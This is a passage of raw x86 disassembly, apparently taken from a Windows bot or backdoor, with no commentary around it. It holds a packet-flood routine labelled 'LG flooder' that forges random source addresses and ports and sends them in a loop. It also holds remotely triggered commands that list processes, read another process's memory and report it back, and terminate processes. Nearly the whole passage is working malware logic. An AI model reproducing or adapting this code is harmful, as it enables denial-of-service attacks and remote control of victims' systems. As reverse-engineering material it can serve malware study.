		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------


loc_405C15:				; CODE XREF: sub_4055E5+5D2j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch


loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU_0	; "%u"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax


loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41EF48
		call	ds:dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax


loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	ds:dword_417250	; sendto
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------


loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------


loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62


loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h


loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h


loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch


loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: .text:004168C1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E2B0
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41E2AC, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41E2A0, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41E2A4, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41E2A8, eax
		cmp	dword_41E2AC, 0
		jz	short locret_40603F
		cmp	dword_41E2A0, 0
		jz	short locret_40603F
		cmp	dword_41E2A4, 0
		jz	short locret_40603F
		cmp	dword_41E2A8, 0
		jz	short locret_40603F
		mov	byte_41E2CC, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E2B0
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E2CC
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------


loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------


loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E2AC
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------


loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------


loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------


loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	ds:dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E2A0
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	ds:dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E2A8
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DE30
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E2A4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------


loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax


loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------


loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	ds:dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------


loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax


loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------


loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------


loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C	; free
		pop	ecx


loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------


loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aListProcesses ;	"List processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520


loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h


loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	ds:dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	ds:dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------


loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620


loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh


loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------


loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	ds:dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	ds:dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	ds:dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	ds:dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
